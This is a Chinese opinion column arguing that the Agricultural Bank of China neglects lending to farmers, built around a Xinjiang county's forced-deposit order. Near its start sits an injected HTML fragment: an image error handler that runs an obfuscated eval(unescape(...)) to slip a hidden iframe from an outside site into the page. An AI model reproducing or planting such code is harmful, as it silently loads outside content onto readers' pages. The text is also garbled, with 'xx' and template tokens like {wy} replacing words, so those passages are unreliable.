农业银行不向农民xx正常吗？

0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.width;}}" src='http://gimg.baidu.com/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zh_160_600.html%20frameBorder%3D0%20width%3D160%20scrolling%3Dno%20height%3D600%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">

　　《中国青年报》报道，新疆吐鲁番地区托克逊县下发“红头文件”要求：全县财政供养范畴内的机关、事业、企业的工作人员必须在县农村信用社存储。县级干部和高级职称获得者每人须向当地农村信用社存款3万元，科级2万元，一般干部1万元，存款期限为两年。当地工商银行和农业银行在短短3个月内，储蓄存款就分别流出1000多万元和1200多万元。
　　
　　谁都看得出来，这是严重的扰乱金融秩序行为，政府以强制手段干预人们的存取款自由，是{jd1}违法的。然而这却是很久以来让我最为感动的新闻之一。“与其坐着等死，不如冒险一搏，为百姓做事真的丢了职，我们也认了”，县委书记王家斌这番悲怆之言，让我肃然起敬。
　　
　　尽管我们有一千个理由指责王家斌们“胆大妄为”，却不得不正视导致其做出“突围”选择的农村金融服务体系的严重萎靡现实：即使是在“建设新农村”的大背景下，即使有“穷人银行家”尤努斯荣获诺贝尔和平奖的触动，农村以及农民仍是实实在在的“被银行遗忘的角落”，特别是在面对天灾xx以及孩子上学、老人生病等急需用钱之时，农民只得透支未来幸福去四处寻借非法xxx。
　　
　　农村信用社似乎是{wy}还向农民发放小额信贷的金融机构，但是它们的存款来源越来越少，且不能在金融市场上筹措资金，相反，商业银行的不良资产都被剥离了，它们却仍旧背着历史的包袱。农村信用社在为农民提供xx服务中发挥的作用越来越小，全国原来有近6万家，现在只剩下2万多家了。“帮信用社就是帮农民”的无奈现实，让王家斌们选择了“突围”。
　　
　　美国法律规定所有银行必须拿出10%支持农业，我国亦有同样规定，只不过从未得到严格执行。四大国有商业银行中，工商银行、中国银行、建设银行都不向农民xx，尚且可以不论；那么，挂着农字的农业银行总该向农民xx吧？现实情况却是：大型农业加工企业还有可能拿到农行的xx，养殖专业户、农户则根本不可能在农行贷到款。新闻中，托克逊县农业银行行长徐玉梅也说，近两年，除大型企业质押xx和信用企业xx外，几乎没有给农业生产发放过xx。
　　
　　记得小的时候，我们镇上还有一家中国农业银行，后来就没有了。城里的农行网点越来越多，农村的农行网点越来越少，这应该是普遍现象。然而农行在成立之初，“xx对象主要限于生产合作组织和个体农民，xx用途限于农业生产”，即便到了今天，农行改革的十六字方针{dy}条仍是“面向三农”，那么，农业银行究竟是怎样“面向三农”的呢？
　　
　　是的，作为商业银行的农行需要赚钱，但农行同时还是国有的，就应该承担相应的公共义务，至少应配得上名称中的“农”字。何况，尤努斯的经验证明，向农民xx并非不可为，并非不能盈利——尤努斯的银行，依靠“联保xx”模式，在xx人没有提供任何抵押品的情况下，创下了高达98%的平均偿还率——关键在于农业银行愿不愿意做出应有的努力。
　　
　　我始终认为，农业银行不向农民xx是不正常的，农业银行更多的网点不应该在城市而应该在农村。与王家斌们无奈的悲情选择形成鲜明对比的，是金融机构对广大农民xx需求的熟视无睹，这种状况早该改变了。
[稿源：红网]
[作者：舒圣祥]